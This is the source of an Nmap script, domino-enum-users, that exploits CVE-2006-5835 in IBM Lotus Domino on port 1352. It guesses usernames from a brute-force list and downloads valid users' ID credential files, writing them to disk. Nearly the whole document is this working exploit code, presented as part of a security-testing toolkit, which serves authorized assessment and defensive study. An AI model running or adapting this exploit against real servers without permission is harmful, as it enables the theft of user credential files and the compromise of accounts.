1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
|
local io = require "io"
local nrpc = require "nrpc"
local shortport = require "shortport"
local stdnse = require "stdnse"
local stringaux = require "stringaux"
local table = require "table"
local unpwdb = require "unpwdb"
description = [[
Attempts to discover valid IBM Lotus Domino users and download their ID files by exploiting the CVE-2006-5835 vulnerability.
]]
---
-- @usage
-- nmap --script domino-enum-users -p 1352 <host>
--
-- @output
-- PORT STATE SERVICE REASON
-- 1352/tcp open lotusnotes
-- | domino-enum-users:
-- | User "Patrik Karlsson" found, but not ID file could be downloaded
-- | Successfully stored "FFlintstone" in /tmp/FFlintstone.id
-- |_ Successfully stored "MJacksson" in /tmp/MJacksson.id
--
--
-- @args domino-enum-users.path the location to which any retrieved ID files are stored
-- @args domino-enum-users.username the name of the user from which to retrieve the ID.
-- If this parameter is not specified, the unpwdb
-- library will be used to brute force names of users.
--
-- For more information see:
-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
--
-- Credits
-- -------
-- o Ollie Whitehouse for bringing this to my attention back in the days when
-- it was first discovered and for the c-code on which this is based.
--
-- Version 0.1
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
--
author = "Patrik Karlsson"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive", "auth"}
portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
--- Saves the ID file to disk
--
-- @param filename string containing the name and full path to the file
-- @param data contains the data
-- @return status true on success, false on failure
-- @return err string containing error message if status is false
local function saveIDFile( filename, data )
local f = io.open( filename, "w")
if ( not(f) ) then
return false, ("Failed to open file (%s)"):format(filename)
end
if ( not(f:write( data ) ) ) then
return false, ("Failed to write file (%s)"):format(filename)
end
f:close()
return true
end
action = function(host, port)
local helper = nrpc.Helper:new( host, port )
local status, data, usernames, err
local path = stdnse.get_script_args(SCRIPT_NAME .. ".path")
local result = {}
local save_file = false
local counter = 0
local domino_username = stdnse.get_script_args(SCRIPT_NAME .. ".username")
if ( domino_username ) then
usernames = ( function()
local b = true
return function()
if ( b ) then
b=false;
return domino_username
end
end
end )()
else
status, usernames = unpwdb.usernames()
if ( not(status) ) then
return false, "Failed to load usernames"
end
end
for username in usernames do
status = helper:connect()
if ( not(status) ) then
err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
break
end
status, data = helper:isValidUser( username )
helper:disconnect()
if ( status and data and path ) then
local filename = path .. "/" .. stringaux.filename_escape(username .. ".id")
local status, err = saveIDFile( filename, data )
if ( status ) then
table.insert(result, ("Successfully stored \"%s\" in %s"):format(username, filename) )
else
stdnse.debug1("%s", err)
table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
end
elseif( status and data ) then
table.insert(result, ("Successfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username) )
elseif ( status ) then
table.insert(result, ("User \"%s\" found, but no ID file could be downloaded"):format(username) )
end
counter = counter + 1
end
if ( #result == 0 ) then
table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
end
result = stdnse.format_output( true, result )
if ( err ) then
result = result .. (" \n %s"):format(err)
end
return result
end
|